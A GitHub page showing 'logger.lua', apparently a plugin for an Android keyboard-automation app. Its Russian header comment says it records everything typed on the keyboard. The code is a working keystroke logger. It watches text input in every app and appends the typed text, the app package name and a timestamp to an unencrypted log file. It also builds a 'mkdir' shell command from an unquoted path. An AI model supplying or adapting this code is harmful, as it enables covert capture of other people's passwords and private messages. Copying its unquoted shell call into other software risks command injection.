-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlogger.lua
More file actions
53 lines (43 loc) · 1.47 KB
/
logger.lua
File metadata and controls
53 lines (43 loc) · 1.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
--[[
Logger
Модуль который записывает весь текст написанный на клавиатуре, хранит файл в logs/log.txt относительно места установки модуля, помимо текста пишет имя пакета приложения и текущую дату
--]]
local currentPackageName, lastString, log
local function startsWith(text, start)
return text:sub(1, #start) == start
end
local function logger(input)
local packageName = input:getPackageName()
if packageName ~= currentPackageName then
log:write("\n\n")
log:write(packageName)
log:write(" ")
log:write(os.date("%c"))
log:write("\n")
currentPackageName = packageName
end
local text = input:getText()
if text == nil or text.toString == nil then
return
end
text = text:toString()
if lastString ~= nil and startsWith(text, lastString) then
text = text:sub(#lastString + 1, #text)
lastString = lastString .. text
else
log:write("\n")
lastString = text
end
log:write(text)
end
return function(module)
local path = module:getFilepath()
local dirpath = path:sub(1, path:match("^.*()/")) .. "logs"
os.execute("mkdir " .. dirpath)
log = io.open(dirpath .. "/log.txt", "a")
if log == nil then
inline:toast("logger: Failed to open log file")
return
end
module:registerWatcher(logger)
end